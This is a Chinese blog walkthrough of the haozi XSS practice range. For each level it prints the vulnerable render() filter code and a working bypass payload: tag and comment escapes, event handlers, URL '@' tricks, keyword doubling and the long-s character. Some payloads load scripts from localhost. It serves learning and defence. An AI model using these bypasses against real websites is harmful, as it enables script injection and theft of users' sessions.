首页 > 数据库 > 数据库开发技术 > 一款有意思的XSS靶场通关笔记 建议收藏
XSS全称跨站脚本(Cross Site Scripting),较合适的方式应该叫做跨站脚本攻击跨站脚本 攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受 害者访问这些页面时,浏览器会解析并执行这些恶意代码,被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。
github:https://github.com/haozi/xss-demo
在线地址:https://xss.haozi.me/
没有任何过滤和难度,直接标准的alert(1)搞定
<script>alert(1)</script>
观察源代码发现我们输入的内容被<textarea></textarea>包裹了起来,我们尝试将前面一个<textarea>进行闭合然后alert(1)。
源代码
function render (input) {
return '<textarea>' + input + '</textarea>'
}
payload
</textarea><script>alert(1)</script>
input缺少闭合。<input type=”name” value=””>
源码
function render (input) {
return '<input type="name" value="' + input + '">'
}
payload
"><script>alert(1)</script>
通过一个正则表达式把我们的括号过滤掉了源码
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
payload
<script>alert`1`</script>
在上一题的基础上还屏蔽了",可以对()进行unicode编码再解码源码
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
payload
<svg><script>alert(1)</script>
把我们所有输入的都框在了注释里,而且屏蔽了我们的后注释符-->源码
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
payload可以用–!>代替–>
--!><script>alert(1)</script>
过滤了> ,尝试添加一个onmouseover的属性源码
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
payload
onmouseover
=alert(1)
当我们的鼠标拂过输入框的那个1,就会弹出alert(1)了!
输入标准的alert(1)后发现他是从 < 到> 做一个完整的过滤
源码
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
既然无法闭合,那么我们考虑在标签<article>属性里有什么能搞操作的。想到可以插入图片payload
<img src=x onerror="alert(1)"
<style>标签不能直接屏蔽,会被过滤替换成/* 坏人 */,那么我们在e和>之间空格就可以了
源码
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
payload
</style ><script>alert(1)</script>
我们在后面加上点东西让这个网站无法访问,再用onerror进行弹出1。
源码
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
payload
https://www.bbskali.coms" onerror="alert(1)
源码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
在本地搭建一个网站,并在根目录建立一个含有alert(1)的js文件payload
https://www.bbskali.cn.coms@http://localtest/haha.js
输入的所有东西转化成大写源码
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
payload和上关一样,将path部分全部大写即可。
屏蔽了script这个单词,并把输入的所有东西转化成大写
源码
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
payload
<scscriptript src="http://127.0.0.1/KALI.JS"></scrscriptipt>
源码
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
payload
直接一个空行就能忽略掉那个单行注释
x
alert(1)
-->
过滤规则如下
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
payload没有过滤古英文!!s的古英文写法是ſ
<ſcript src="http://127.0.0.1/666.JS"></script>
浏览器先解析html,然后再解析 js 直接前后补全即可
');alert('1
直接alert(1)即可。
从源码看出,这道题过滤的规则比较多,但实际上补全再用个堆叠即可
");alert("1
直接闭合script并在后面新建一个script标签
</script>
<script>
alert`1`;
</script>
<script>
虽然xss漏洞现在很少了,但是并不意味着完全没有。本文从过xss靶场为了介绍了常见的xss利用方法和出现漏洞的原因。希望开发者在开发时应道注意此问题带来的危害。
更多精彩文章 关注我们
原文作者:Kali笔记;如有侵权,请联系管理员删除。